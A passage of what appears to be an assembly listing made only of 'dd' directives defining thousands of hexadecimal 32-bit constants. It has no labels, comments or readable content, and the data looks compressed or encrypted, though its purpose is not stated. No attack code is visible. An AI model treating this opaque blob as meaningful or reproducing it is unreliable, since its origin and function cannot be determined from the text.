0A5942B7h, 0ADCA5282h, 2A0E7C0Bh, 8B9F85D2h dd 4208D748h, 0CC424344h, 5F880793h, 31A2102Fh, 6BE0170Eh dd 0F5BC173h, 28A4C2Ah, 3134F791h, 0E4511FAFh, 8268F1E5h dd 0BE4D13CFh, 31707937h, 58D13C7Ah, 4A876D96h, 0BC37254h dd 0CEF67051h, 6194FBF0h, 52230DFCh, 72B3268h, 45076ADCh dd 25F862D0h, 37C89830h, 0C0C4898Dh, 2C1E5EABh, 0E3ABC520h dd 0A4525010h, 10B4E440h, 1AD2E6F1h, 0C4AB058Eh, 0A48F89BCh dd 42D0A090h, 6C8A9B84h, 28636628h, 118726E1h, 811B081Ah dd 3505527Fh, 35C86486h, 0A7B129A0h, 5185EFEAh, 4CC27A1h dd 0E4D61594h, 4BA43733h, 18C4B7D1h, 2982F854h, 0B1F1A6h dd 6381B340h, 840F189Eh, 0B30DCFFEh, 0CE609013h, 9028FCCFh dd 171F4C69h, 2B79E28Ch, 3C282AA7h, 0F0D31139h, 71E583B9h dd 0BE4B4823h, 2324D57Ch, 399A424h, 0D126124Fh, 63898456h dd 4E44702Dh, 0B1A9CB3h, 7EFD0BA2h, 0C5E701B8h, 15A8CD91h dd 2EBB60B0h, 16A47E13h, 408C850Ch, 211CAE10h, 7BD08E24h dd 843C4B0h, 61AB1A1Eh, 6B6A9860h, 0E3F2C0A8h, 0CD20B4Ah dd 409CECEh, 0A6D817Fh, 0C1127202h, 0DC19981Fh, 59E2BC3Ch dd 23265D1h, 0F42C1789h, 8935EC4Ah, 59291524h, 7350EE03h dd 69783E3h, 28E8276Ah, 51A266BAh, 91A3E1C4h, 5E56998Bh dd 9A023E08h, 9902E5A0h, 6F0836Fh, 5FD528A6h, 6916A839h dd 0BA92515Eh, 5EF57A00h, 0CA7D6A1Fh, 0F94FCA17h, 23AA1919h dd 289146Ch, 0F4119390h, 11ACF585h, 0B3E997A8h, 6721F2CCh dd 3E80271h, 0F622FB7Eh, 471128A2h, 2758CCBEh, 86EBF98Ah dd 0D102B1Fh, 0A4BE6A87h, 0FE19747Dh, 1BB68A7Fh, 2849C259h dd 797BE347h, 0DEAB7C4Dh, 53505C54h, 0C48918B0h, 0AE6459E1h dd 0CDF822A7h, 4457C4C8h, 5FBEE48Ah, 7468656Eh, 4E56E05Fh dd 0C28E1647h, 0A2A64793h, 84AE3A2Eh, 575DF174h, 31688E6Ah dd 68231CFAh, 0B820D062h, 0F44E2354h, 52BEB52h, 5CACD178h dd 0A02FA9C0h, 824C25A3h, 85885A96h, 0AB4A4FCAh, 0AFFA2A1h dd 2112D158h, 6B1F6275h, 26D598C2h, 0A26D44A0h, 92260449h dd 22895444h, 108AC591h, 443DB571h, 2C886D60h, 0DAD0884Dh dd 0C4369D04h, 0E57B89C8h, 1B401B8Eh, 9D6C532Dh, 309A9F38h dd 310944D0h, 10D2C551h, 44B2B5D1h, 7F146D78h, 1CCA3307h dd 12981902h, 1E447611h, 0D8C4C26Bh, 0D0B29E26h, 2358B073h dd 84A1779Dh, 0BAC78027h, 506E8C44h, 6804B8F0h, 1CB7C44Dh dd 2A0740A0h, 0EC0A5380h, 6806DECh, 0DC012D13h, 0CA237BE0h dd 713B4414h, 0A2180306h, 0E8230095h, 0D792C4FDh, 0D10FE7A5h dd 0DE32F661h, 125EDC2Ah, 0C4A2A95Fh, 0ADB6B4Dh, 0B57F24F9h dd 0A1EEFB46h, 179797BAh, 0A9EE5F31h, 0DEA6E4CAh, 1A77F90h dd 3791F44h, 739F589Dh, 0B1656EBh, 0C727E063h, 895A28EFh dd 2EE21312h, 0BEED3C8Fh, 0E7F215CEh, 401A699Eh, 0F3E241CAh dd 8520B1A0h, 78773A85h, 0C1C3EAFBh, 2F5F3F8Ch, 82204B10h dd 0C9F00D62h, 3221AB90h, 0BAD946A4h, 0F6A2E3EDh, 848489D8h dd 424A00D2h, 5B396D82h, 3FC4388Ch, 116304D8h, 2E8A42EDh dd 0E90F8CC6h, 791E173Ah, 648ADF41h, 9833E760h, 0D578DA00h dd 80863B9Eh, 617859C9h, 8A09FB92h, 1CF20724h, 0D873F7DBh dd 77609A02h, 0CF0DB194h, 1F66DECCh, 55456F5Dh, 46283C98h dd 9EA07474h, 0A565D1ABh, 66C0196Eh, 89AA5E1Ah, 8A4F8AAh dd 0BC763EDFh, 5DB1A68Bh, 40F4BCBEh, 0B1D4B5CEh, 3E9C6314h dd 6576B022h, 483AAD0h, 0EF3C557Eh, 4576CAA1h, 0E990FE91h dd 4A9FD362h, 1055675Eh, 0D629350h, 67D3DB3Dh, 0CF515C53h dd 354594F9h, 0D1A668A2h, 0DA405FB7h, 722EC80Dh, 0C073235Bh dd 0A207B803h, 48244074h, 0BD7D0619h, 68700405h, 91E2A6C1h dd 414A4D6Dh, 0AF819C1Fh, 93F4656Fh, 0AF5CF0BFh, 0FAD80CF3h dd 0FD05B029h, 0E863893Eh, 0AE97C7Ah, 981A7064h, 45E04E01h dd 590BE3Fh, 84468E9Eh, 0FE565564h, 2AB8D6D1h, 29084FA0h dd 581E9183h, 461F85A4h, 0E084701Eh, 495AF383h, 0C49F3117h dd 0C2440226h, 308F4413h, 2EA1517Ah, 986355Bh, 0C2C4A175h dd 8FABD245h, 4B455CDh, 4AF9A127h, 0BF7A5231h, 0D0572BDFh dd 0A983F9FEh, 1F2772E2h, 72686D01h, 91D20585h, 44C1C36Bh dd 4EE7D03Bh, 493B1F20h, 8A1FC654h, 0AA13B116h, 6070506Bh dd 6014A0h, 0FE55BE82h, 0C0A8C898h, 0B41043B5h, 69618389h dd 0A3189F01h, 711EFBC5h, 9E69D094h, 7999E8E4h, 667E9830h dd 8DC41EE8h, 9B402AB6h, 33DE2DDCh, 0FF03816Fh, 0E837E324h dd 0BD596517h, 21801F05h, 681B5B85h, 2DBD327Dh, 56E9D1C7h dd 0C906ED51h, 18B8BC2Eh, 0CB840FD7h, 0C34B3F02h, 7A4DE7D1h dd 0DCA760AEh, 0A900593h, 0E05E8952h, 0D1090575h, 95963307h dd 0E5184B33h, 20D4908Fh, 2EE73B34h, 0FFF1A026h, 0F2FAFA45h dd 1D5C58C3h, 0B2D0385Fh, 2343818Bh, 0C4B0DB60h, 0E5ABF2ADh dd 979C2EF4h, 377BAC0Bh, 0C5CA68F0h, 36EEC751h, 3F1C1409h dd 9BBBE810h, 6063AE62h, 0D4214FC3h, 3DBC7731h, 0C772E032h dd 1BDE7A28h, 0AF745458h, 0C6942544h, 77295CC3h, 0EE904FC3h dd 8292FC68h, 47585A23h, 0B1D2D9Eh, 0B4744946h, 0BCEEF2E4h dd 2DB320E3h, 739E0830h, 5106BB33h, 0E7E00779h, 9F2AE4D3h dd 0A430559Bh, 28602A05h, 7A218C3Fh, 68262457h, 9A482FD6h dd 5A230154h, 0C77FA5C9h, 8B062A20h, 8A884280h, 49E1D7F0h dd 0C4BE2A60h, 3A9A1DECh, 55002DF4h, 54324C05h, 60D4DC3Ch dd 3A49E809h, 25E21894h, 0E14D4ABEh, 55AFF6Eh, 0F2EEA857h dd 0CB7EBE23h, 0FD3144E8h, 84589104h, 6B4B08D7h, 123DDB5Bh dd 0CF8F8167h, 3B5EEE7Ah, 2E9E017h, 56393E33h, 0A7691045h dd 0BBD20415h, 38464AA0h, 794CAC2Bh, 0AA03EA68h, 476D0BF1h dd 0ECBD92ABh, 914B6057h, 44183F8Fh, 0A1812B8h, 90BF2523h dd 23BA975h, 0E75234A9h, 0B0801576h, 0EC42189Dh, 1C66FAE3h dd 97573551h, 45A273D7h, 34C9E040h, 9E37AE83h, 0D42DC61Eh dd 2D3120EAh, 3405C481h, 0D7452BC9h, 105618C2h, 0A881A211h dd 2DEEDA5Bh, 1608455Eh, 2035C5BBh, 0B3663202h, 3CC5A07Fh dd 0CA95B90Fh, 47CE7615h, 655A1CB8h, 21F8CA48h, 0BC22EEh dd 0A92B018Fh, 5B287620h, 9E32D050h, 745D312Eh, 0A3A18359h dd 2374A24Eh, 7E84B333h, 0E4D817DAh, 6D0FABA4h, 976BF385h dd 3886C275h, 211AC650h, 972E00DCh, 0F74D08F2h, 0D5D39392h dd 6C12CA05h, 0AA4DF921h, 0C55945D5h, 0ABA2B210h, 861131A3h dd 0C2B963Ah, 6E07AA80h, 0E08C16A0h, 40064454h, 0AF088A5Ch dd 0A1CBE300h, 394F584Bh dd 0D7B2A6FAh, 406E350Dh, 5C3039A8h, 0D08FB1E7h, 0CBF6024Ah dd 14A8A11h, 1354494Dh, 0FEAF33h, 27A0C0C1h, 819C8008h dd 6CEE205Bh, 16012BF2h, 527F89F8h, 681D1D0h, 824F01B7h dd 60AAF86Ah, 2F967AE0h, 0EA8BE7B3h, 0B56D8CF7h, 0A906CE6Ch dd 3805E50h, 9AEDD611h, 5967CF45h, 79A00D54h, 5400BCC0h dd 0D2F82370h, 305C2A0Bh, 9813EA32h, 5B806368h, 10C0CBB0h dd 9610AFFCh, 0A65B69C4h, 0E60A776Ch, 10C77797h, 1E96ADC7h dd 5FE90EECh, 6554E9FFh, 78441C02h, 4CFA2400h, 0E20B1A0h dd 91A8C426h, 0E950FBDFh, 5A4A2AC4h, 1656270h, 0D5C4991Dh dd 8CFFF4Bh, 0A5B288D6h, 1A4C6695h, 1A443252h, 15CE308Ah dd 0C082C408h, 895BF4C3h, 84C094CAh, 0D9DDA291h, 43D9506h dd 2C00132Dh, 2721560Ch, 97B15552h, 4ECA4F73h, 89628F1Ah dd 1B3765A1h, 0DFB24C07h, 0FA60ADEBh, 49D60E37h, 9C2940A9h dd 2AAFECD4h, 0F2A0A1E5h, 36865D27h, 1FC7F77Eh, 2D06CA5Eh dd 68957901h, 0C5309100h, 0B7B9D43Ch, 6614C0h, 0C510B761h dd 484F1C38h, 434955EDh, 434AD811h, 23618611h, 0ED470F39h dd 0B7ECE141h, 0D67E7490h, 1DC368F5h, 84308B8h, 0BD544634h dd 0B546608h, 4A020F05h, 0BE575079h, 3B542CA0h, 899F1B7Fh dd 0E8FB9718h, 0C7BE4B73h, 5B111CEDh, 261F2D4Ah, 0A3389849h dd 9C651B49h, 0C38D8020h, 42046E00h, 0C02407B5h, 48AC587Dh dd 0D4B5731h, 401AB15Eh, 1450C1A4h, 10935D8Ah, 82AFC61h dd 90D5D118h, 6F2A202Bh, 5845A055h, 18458C6Dh, 3A10D26h dd 2B090D2Dh, 0C696F475h, 66FECC62h, 5BB78176h, 72B85A07h dd 16EDD347h, 60A78C5Dh, 1BAE271h, 79F8EB84h, 0FEB28995h dd 29A5F967h, 2E72587Ah, 471DD432h, 479057D2h, 0D9EC4309h dd 7939E591h, 6E4A893Ch, 0D89C6DCFh, 28CA8C12h, 0FB54AB77h dd 7A4AA605h, 220479F6h, 0DF81955Ah, 2C4A9541h, 96088994h dd 0EF6EA820h, 5C02115h, 412758B6h, 0BFA80CA0h, 0B72A7017h dd 450543B0h, 0AA86E2E1h, 261E076h, 608AE553h, 618D8402h dd 0A0397E82h, 5E11D966h, 0D6E021F9h, 2252B275h, 3B187486h dd 0C5102097h, 6D8CFD81h, 4C344727h, 50D15D6Ah, 6D18872Eh dd 12B05F32h, 35C0C332h, 2C22B454h, 85555954h, 0AE60C17h dd 38D00DDCh, 0C1E7380Ch, 0E20A1A76h, 7D0CA4E6h, 385924A1h dd 66514455h, 0B4AD5541h, 0E381D58Bh, 8C5D0FC1h, 0C5D6CFD8h dd 889122A8h, 725A7921h, 1673D055h, 6431AAFEh, 0E731C882h dd 59CBCD64h, 71145A97h, 0D2D59A68h, 59E69531h, 9BC740CCh dd 68B58839h, 0BD399163h, 0E0FEDD33h, 4F4668E3h, 3D8E481Fh dd 0E54B300Ch, 17B5B3D8h, 86764311h, 7BE691CAh, 27A7C2C8h dd 9D6A533Eh, 9DD27E30h, 71099057h, 372AD947h, 4D193F8Bh dd 6558291Dh, 586E5996h, 4D3EFB93h, 0A03B2C17h, 82E88A46h dd 0AA022968h, 4E824F74h, 64B562D8h, 0F010A31Dh, 44021F15h dd 0A49B7076h, 0A934F3A2h, 0EB3B4108h, 0F959AC29h, 9653677Eh dd 8BDC5F85h, 459F2F25h, 79398DDCh, 0E8BA6399h, 4F801F35h dd 9F3A2160h, 0D373A740h, 8BD69C05h, 41C43E4Ah, 0A2F75783h dd 0CFBCBB97h, 0EA9F025h, 59BC133Bh, 0C0EC747Bh, 2B5D1E70h dd 0DEDA2F7Dh, 0B2F72DEBh, 766DCE93h, 456B5CEh, 24BD8DB6h dd 510FAD59h, 32368FB7h, 0B4F6A5C5h, 58BAEB3Bh, 3B0B6727h dd 7AE25EB0h, 39C5CECAh, 65A6CC7Eh, 0DD446098h, 0A2996FC9h dd 0FBC158DDh, 0EC53954Ch, 5423FF5Fh, 0F0C499F7h, 9C089844h dd 95E83F2Ah, 85CB6631h, 0A8EB02EAh, 0A18BE86Fh, 158B9F8Ch dd 62E5F78Fh, 53708B7h, 475CEEBCh, 1A50B0BCh, 0A5B59C40h dd 105DF90Ch, 444C0365h, 4230019Dh, 0D2420E0Eh, 3BD40D2Fh dd 0C96089CFh, 806EA9E1h, 185F4BDh, 26501CEh, 798653Ch dd 97084E40h, 6583349Dh, 431DEB9Ch, 196782F8h, 98C4C057h dd 659834D3h, 0A5B9EA5Dh, 18CE1DE8h, 9627A148h, 0E782C685h dd 4079181Ch, 0EB837C61h, 3ACACC6Ah, 5D83C6A9h, 3CE5BA7Ch dd 0DDAD4FD1h, 0FA6F9A60h, 0F01A8932h, 0FC3B4DD6h, 8665173Ch dd 0B08DD8B6h, 69301619h, 7472E228h, 0C361C231h, 691CBCC1h dd 1CA7947h, 624B5C05h, 78C3E729h, 0BAD11A03h, 0D7C81E06h dd 0B271967Bh, 0EF46389h, 126B407Bh, 16D99B5Dh, 0AD34059Fh dd 1B5A4661h, 23725A8Fh, 26BC713Eh, 0F6CA41D4h, 54AE7A37h dd 81119592h, 2BD2B9C3h, 283030B9h, 7B492B3Eh, 551D2F97h dd 57395C8h, 8F3BE472h, 3BD22968h, 5026CE2Ah, 168CB52Dh dd 0A03B8852h, 4BAC50DAh, 5FF09064h, 3B0A1441h, 1FE87C2Dh dd 2E9E0B93h, 40ADAC59h, 0AA4F2602h, 0A792ECA3h, 0F7442351h dd 445ADAAAh, 5283B845h, 0B7115967h, 0CDF9ABDh, 0C0B385C5h dd 3DE0BEA2h, 30A5267Eh, 328A3FECh, 30694F01h, 1557100Fh dd 70A3B2Eh, 7F0938B3h, 8B3454C4h, 89142B7Ch, 0A048273Dh dd 8523BAABh, 2A3F6566h, 0CF36AC61h, 3E018C0h, 2B1C1274h dd 0FE5D3EB3h, 51DE1DC5h, 2423C9Fh, 0BFCA3540h, 0A0360E0h dd 21652796h, 77813B4h, 23B9DA69h, 0A6C114A3h, 461DFCF7h dd 6677252Fh, 923BE6C6h, 7824830Ah, 799E19Ch, 5453C774h dd 7666DC76h, 0F47BCB84h, 4C333E1Eh, 0FD3DCB96h, 0F4AB9ECAh dd 61C0E880h, 2340E4F8h, 515EDCFEh, 0D30C5C0Bh, 8CAC7C48h dd 0E5DF4A9Eh, 4C72F68Bh, 6E603B9Eh, 0CF62268Ah, 17D849DCh dd 40C93A5Ah, 63ECFAB5h, 1006C09Eh, 0AD0347BDh, 0F1739D5Bh dd 0E38D69DCh, 7D06DD40h, 0B22087B1h, 3BF0D9F5h, 7AAD32A8h dd 96933306h, 3132208Ah, 8AB81DAAh, 2A173989h, 54F25AECh dd 0E80C3F7Bh, 7E06AE15h, 43613EE7h, 0B0B3517Ch, 0F6F989Fh dd 0AF404F11h, 0D04E0735h, 8B551A22h, 5F2BD8B0h, 98A56A89h dd 60886645h, 36352D1h, 0ECB82FF1h, 83383DEFh, 30D4B307h dd 56006D20h, 2324222Fh, 20AF7F8Ah, 6388F843h, 0A3437280h dd 4F380B0h, 84C4E194h, 774C8D40h, 10605828h, 69F0A91h dd 7116C2CCh, 790722A0h, 0C026C1E9h, 1E6DC17h, 65EF5916h dd 0FC60D27h, 0CF90238Bh, 0A25BD7E0h, 0C03B605h, 11F650DEh dd 50FC4B0Ch, 57900920h, 81A124E9h, 3FDC6037h, 0E0AF1A81h dd 0AD0E687Ah, 135A1A23h, 0B00AA2ECh, 2BAB310Eh, 17CF7B11h dd 0D5F80AB0h, 0DED8EB33h, 64587AB9h, 0B27ACBE3h, 7AC5494Dh dd 0C350D746h, 45A157A9h, 3F633E45h, 7B77B957h, 7B7B91D6h dd 146AEB22h, 5588324Ah, 0E60FD5C5h, 8AE2462Fh, 9EBC536Ch dd 7BCD819Eh, 3977A32Eh, 0B271DAAAh, 1A23194h, 3A80B446h dd 4F03759h, 0CC60EBD6h, 0F92841ADh, 37772FA4h, 4FD4966h dd 7BA9BD58h, 2C8CCB72h, 0DB62EB91h, 0C5A0AE31h, 0C15070BAh dd 26182D2Eh, 8C110B8Dh, 0D2AC462Eh, 0C11F5738h, 0A1E04240h dd 681B1447h, 3EBE1CACh, 44386220h, 639C59E6h, 6B3611C5h dd 864547Ch, 0E61624DCh, 89827293h, 0D09CD208h, 97D0753Dh dd 141815D5h, 363E1AF1h, 0FB3A43E8h, 7FBACF93h, 0C600304Eh dd 72181E77h, 14431EC3h, 0C105CCE9h, 5866A09h, 25177C45h dd 0E24814DDh, 2ED1E4AAh, 0BC683B6Ch, 0A32B6503h, 86B4E548h dd 0A263A421h, 0DC08C2Eh, 0D62E3A64h, 0A56FB2B4h, 23003BF1h dd 2DCAF4DCh, 2E3CD3BFh, 4F34DACEh, 2FA128AFh, 0A1C4E410h dd 8FECBEAEh, 9B2DBC34h, 317A313Ah, 0BB3FE7D4h, 0C5118B83h dd 4715A296h, 0BDF6A0C8h dd 47F72EDh, 406445E7h, 0DE8240C5h, 0EB4B5564h, 0D3AF228Ah dd 0CAADAD05h, 16EE5B3h, 2841744h, 5195048Fh, 303A5178h dd 648CD6D5h, 6C51D5EDh, 0F6D53097h, 33B8A388h, 0FE14211Dh dd 0E03D06E7h, 44572FB0h, 56B52980h, 56AB2C5h, 4E23405Eh dd 60D69BCh, 7E6262C6h, 88851AC9h, 538DD53Eh, 3218AC84h dd 0CFCFA65Ah, 1688A7DEh, 6CEA2D55h, 79FD2E89h, 52EC8094h dd 0B2BB042Bh, 2AECE5CAh, 0F5C41CE3h, 0B99D1F14h, 0A2F8DFD0h dd 0AD1B237Ah, 33266BC6h, 1F0C07FAh, 47B8AA13h, 5E5A52BBh dd 0A576AEE7h, 58173C18h, 6309717Bh, 44DAB68Eh, 444CADA0h dd 0A84B26DAh, 0FE5E26Dh, 1012073Dh, 0A3283189h, 0A2086811h dd 0A0FC6911h, 31286A11h, 0AF93682Fh, 55AA0AB8h, 0B5ADC348h dd 20D6ED4Ah, 4C2CE0A0h, 44B6F222h, 0A965D797h, 0FDACF9B7h dd 8BE8FA2Ah, 0AC1B857Ch, 0CEA057CEh, 71FDB7CEh, 0C844A9E4h dd 9F5A0160h, 3965BC25h, 0C901CB13h, 8D6355F1h, 0E62CF9AFh dd 908A3790h, 6127A975h, 0F963B1BFh, 786192E6h, 4BCF6B15h dd 0BAB3F14h, 8E2CD409h, 8AA9EC34h, 7EE5CCFCh, 0A2C104CCh dd 210850Fh, 9D282908h, 0D952B153h, 62E93045h, 0D1805D2Ch dd 0EA561501h, 5515FC5Ch, 0B938813Eh, 0E7C1AFA2h, 0E55729B4h dd 0AA859A00h, 148AD9FCh, 20A1E0BCh, 629565B1h, 881668FEh dd 0CD95EAF9h, 0B3ED57DBh, 387DD9C9h, 0E20312B3h, 0DC5D0FC1h dd 0B444698Fh, 1A5D5906h, 0BA1F177Ah, 1A5858DDh, 2BD3E440h dd 761F8D0Dh, 35075008h, 36F11883h, 0C179D8DEh, 0F146600Eh dd 81FBA050h, 0DA9D10B4h, 22BBEBC6h, 0D861B78Eh, 0F91BD5E9h dd 2A12A453h, 381B5D53h, 0B909CBECh, 0DCC1619Dh, 0F92A9087h dd 54E2CEA7h, 49E70237h, 0F6A273AAh, 0AB0D5068h, 0F02954D0h dd 75C56BF8h, 0BA752E14h, 3F6D988Bh, 3651A04Fh, 4ABB17C6h dd 7517446Dh, 5A8AE4FAh, 5FD77425h, 0D62F6499h, 582E717Ch dd 66FE93E1h, 0AD435269h, 2D1080C7h, 5C1E5209h, 0D3FFC330h dd 0AA91C635h, 55BD2AE9h, 387DB52Eh, 0AC8F1102h, 25D19820h dd 0E3A76F94h, 0C580625Bh, 5D6F5B85h, 70822F5Ch, 7ED21D3Dh dd 0E9E17EF2h, 3CC56009h, 97C9F22Ah, 24F6F27Bh, 68D35530h dd 2F5602BBh, 0E8BBAEA4h, 550B3FC8h, 0D282A043h, 2C58A200h dd 0E40857C1h, 416827BAh, 57E41C60h, 0AFF28E1Bh, 34A7EAB8h dd 0BA02E385h, 0C3083FCBh, 5F1AE1A4h, 0BA0281D4h, 3957064Bh dd 0A44D9961h, 1999C2Fh, 0C685580Bh, 5CC3404Eh, 6E8A7A8Bh dd 32E84AC5h, 2687720Ch, 9AB5551Fh, 0D938ED05h, 0E7CC5A30h dd 9CA0ACF4h, 8560AA01h, 6D2B4601h, 0CAFDEABFh, 0B955287Ch dd 95567FF4h, 8A256795h, 0A945A7CAh, 1A2A1316h, 2AADD7CBh dd 47981390h, 4075FD91h, 15D1DBEDh, 634A45h, 25F4FD22h dd 507338D6h, 6006567Dh, 77F7028h, 4EBDD6EDh, 22A39523h dd 0E070318Dh, 1C95D3C7h, 9AAE09C4h, 9A2FC5DCh, 330E5F87h dd 0AE9E222Ch, 0C7F0E1B4h, 0EFA232BBh, 85E7648Bh, 0C945E197h dd 124F1773h, 4BE03C0Ch, 17477DD7h, 6CADBE79h, 7621E675h dd 883D0076h, 0FAA1173Ah, 1DD09C57h, 0A47AA70Ch, 388FD3F2h dd 51623E7Eh, 885F4597h, 9C6260E6h, 5E81E129h, 5DCF32EFh dd 759AA459h, 70C99C6Bh, 64718534h, 915AEABAh, 83CA2577h dd 0C9C17AA1h, 4809CA61h, 488159BFh, 3A940196h, 0F071857Ch dd 9B400753h, 1BF37D19h, 93117D7Dh, 3E844869h, 0BBF05F99h dd 92AB148Ah, 7F1DD4BAh, 0F2EA40CAh, 0B7F036CEh, 41934BCEh dd 2C6DC5FAh, 2B44E862h, 822C0832h, 845513E8h, 48EA6D02h dd 0EFD8B872h, 902ECD08h, 5020B9FAh, 9746A9FFh, 72048F16h dd 0D5F41115h, 0F48CC062h, 3F173EC7h, 0EF60C77Ch, 7AE65D3h dd 37840ECCh, 0A182D611h, 0A5707680h, 121A44A4h, 3A444768h dd 6874449h, 0A79691DAh, 0E621911h, 75CFC1F0h, 0ABF14061h dd 24047E3Ah, 0F1DC4F0h, 5DF95486h, 5E065310h, 1B54B83h dd 3E620BEBh, 274872EBh, 443CC1F6h, 54B90925h, 0C40B55C9h dd 0B07D318Ch, 0A7B23BE1h, 5F185D6Fh, 0ED519816h, 15BDC70Ah dd 0F7E0175Ch, 0F4A0150Fh, 3490CBECh, 6FC193E0h, 17E8550Bh dd 8C4AEC6Dh, 56D8FCA6h, 0D7DE6695h, 710F8C68h, 0D29C419Dh dd 595F04A1h, 0C6645F60h, 4259CD1h, 20BCC2FBh, 0F86C7588h dd 4D9C60A3h, 0B0C0429Ah, 948C4EA2h, 527FFF87h, 0DCE9BBA2h dd 0C5980BAFh, 593102BAh, 6F28C0B4h, 0A9FC6AFBh, 7A34EBD1h dd 552F821Fh, 0DA060725h, 0F543061Eh, 0F3D2251Ch, 2ED82B00h dd 726ECAAEh, 0E114B01Bh, 26A055D1h, 7D837240h, 1AE46240h dd 0C1145E3h, 40A8CBA4h, 8A81D77Bh, 75695A2Ah, 253C9DCh dd 557ACE55h, 0DADC6BE0h, 0E7A3F997h, 8FB0E040h, 6A8C7572h dd 8931B0D6h, 0DFF8F4CCh, 0D7D8E65Bh, 8A31CEFCh, 0F67FE171h dd 9436517Eh, 929C5831h, 24094943h, 0A651AFC2h, 0A9407DE8h dd 79315948h, 0A9F675B4h, 0DA28A588h, 4EFEF0D8h, 0F9DD1DC0h dd 45FD7F9Fh, 3763C60Eh, 55958860h, 59885719h, 609BFE25h dd 0F8851957h, 9306F0ADh, 9962D12Eh, 68F0A900h, 0F1D16A05h dd 0EF126357h, 5E60AF6Ah, 80DF22B1h, 3CD6B2Ch, 0CAFAE3D8h dd 5BEE89AEh, 83471DB3h, 0E69A445Ah, 0D16F5271h, 1A802407h dd 0C61A27F9h, 984889E8h, 0D4FF9ECBh, 0BBA1665Ah, 3805DEA8h dd 0C9A8E501h, 0C0E27D8h, 12BA892Dh, 6239380Dh, 43D5C95h dd 0A7EEC168h, 0D15A1E0Dh, 0A9EB760Ah, 0A8CA404Eh, 91172F61h dd 993B4A40h, 7989722Dh, 27CDC922h, 849746A6h, 417DA1D0h dd 87AE5C11h, 80599F91h, 0AE5FE86Ch, 0B88F851h, 0FC7CD8F2h dd 0F9EFA24Bh, 493595E6h, 0F91CC7F9h, 18454FC7h, 69E25C7Ch dd 2C1FC631h, 2A885403h, 0FA443C75h, 0D67108ACh, 87D0197h dd 16D58392h, 83BFFB9Fh, 9B125306h, 0FDF408CBh, 0FC9EB98h dd 2AA47550h, 0DC38D826h, 435564BEh, 9EF6A833h, 0D7D45229h dd 54883C7h, 0CE7E5FF8h, 8D594298h, 2FFC1F79h, 5978B016h dd 1B23FBD6h, 30E372C1h, 1045A70Dh, 9F5AFE06h, 0A05F217h dd 3C989455h, 34F56A4Dh, 43A48A24h, 0C11803C7h, 8CB03A1h dd 0D184293Bh, 4DCFAC5Ah, 417DC73Eh, 0F79AA8ACh, 0C2A41FDAh dd 0DB7550D0h, 0BFC43A71h, 329DEFC2h, 2D64B8BDh, 5158C532h dd 0ABFD53FBh, 0A01189h, 103C118Bh, 761432D1h, 2EF2904Ch dd 4176A40Ah, 0FEE04B58h, 36D1174h, 0BD024514h, 5C1E1281h dd 0E970EE3h, 28BB0B8Ah, 77196287h, 0A554A026h, 428FC802h dd 6715834Bh, 3FA38C69h, 0B3730985h, 8D45052Bh, 5AD09FD1h dd 37FBD49Fh, 5133FFC4h, 0C45CFB46h, 9D56BB9Fh, 60D37431h dd 99615074h, 0D755A2FBh, 55E9AC41h, 939CAF16h, 2E8F1471h dd 149AFE54h, 0E6CC3212h, 197B2339h, 2D732AF3h, 8BFF6B2Bh dd 0FA20CC55h, 6E630222h, 0D1897332h, 8EE519E5h, 82B01E5Dh dd 22E393CAh, 0A9E0B34h, 80D1297Ch, 0FC4B9018h, 320E4053h dd 0CA0F86ABh, 506CA76Ah, 507B2DE8h, 93B72315h, 40D6604Ah dd 25CC6281h, 0D1F9EA8Ch, 82B5854h, 4B5A4154h, 0C1289AA7h dd 0EA3798BEh, 0D12C57CAh, 0AE337466h, 3A35F58Fh, 0CC501CDCh dd 5D5CBB3Eh, 5427676Dh, 88986147h, 455300FFh, 5671C1A7h dd 7BFBD599h, 0BEB1BD80h, 13CC8F30h, 99F40266h, 24F7C275h dd 28B56C0Eh, 17D44231h, 7737624Ah, 26BEEF41h, 154B2E5Ah dd 0A0912403h, 61719361h dd 95831256h, 0AFB46BA7h, 5243116Bh, 1846BF85h, 0AD9E8D26h dd 9AB701A5h, 6953A1BCh, 31DAF150h, 0F30AF88Fh, 5EDA2C97h dd 1E62ACC6h, 0BFB6C5C3h, 0C9B9AC5Ah, 9746A8CCh, 42F48C67h dd 9A112479h, 0BED65ABFh, 38A67994h, 0C1442E65h, 4CD0438Eh dd 547A7D62h, 49286395h, 0A7AC24Ah, 7457AAA4h, 9E67EA0Bh dd 2D799592h, 1BE1C665h, 37B05512h, 0C7F91645h, 60C614E9h dd 2CFD1D31h, 9688A6F9h, 0B242021h, 0CE6443AAh, 5C77C177h dd 5F680525h, 0EF0AE75Ch, 0B4883222h, 2AF0B123h, 68707ED8h dd 28CA7F87h, 514F0C66h, 303DAE48h, 74CB4913h, 618BA2FFh dd 80092480h, 498E2277h, 0F86EB45Ch, 0FB43AB4h, 1D0084BAh dd 0EA7081D6h, 5E3BCD4Ch, 5D20BEA3h, 1056A683h, 0A0628A95h dd 20FC517Ch, 0CAA9A2DDh, 9055B482h, 1A58097Dh, 0BD30E054h dd 557C87A7h, 0B8EF8247h, 4AE73563h, 1B6861D9h, 9B635405h dd 568D79B9h, 693AE31Fh, 0A763C639h, 75A2A4EAh, 0DE6822Dh dd 0DDC62B63h, 0AD83A38Dh, 7B3B6CC6h, 0CC1C4281h, 70A2F6BAh dd 0FA6A8AFEh, 2A268153h, 0B5A29246h, 0C3DC493Ah, 0D11AB2FAh dd 52E2C4D4h, 0CD2038EEh, 8E5EEAC5h, 6660556h, 2D2F29BDh dd 895AAA26h, 0A97AAB31h, 0AC2E4553h, 0AD6A5AAEh, 0F4A82C4Fh dd 4A7F9200h, 8E7A416Eh, 3828E985h, 89777B8h, 0B7A80CDDh dd 5FF9C5BEh, 31960497h, 0E01CACA1h, 0A7749708h, 0A85D6171h dd 998841B7h, 0D6B9FBF5h, 44665F7Ah, 9E761E61h, 9A1282AAh dd 0ED2E81EDh, 48D23089h, 440689F3h, 506827F0h, 786B54E2h dd 32F03A21h, 13B163ECh, 2D51D755h, 19F9A4E8h, 65F540BDh dd 99019417h, 0C52822FBh, 0FBCA49C1h, 0FC9A08ECh, 0A200C513h dd 2B544F0Ch, 0A128D3EFh, 8C2C0349h, 0AA923F61h, 675658A3h dd 0CFBC87E1h, 6A74AD23h, 0C2EFAC28h, 0B4E0F6B3h, 0BABCACh dd 3A9CCA25h, 0E60E3938h, 590E2A9Bh, 6E4D1F79h, 8BA32A99h dd 9C1A1A35h, 0FBD74390h, 83B977BEh, 29629BC5h, 2CB07C68h dd 0CCF8610Dh, 94A665AEh, 148AFC5Ch, 0A8D61852h, 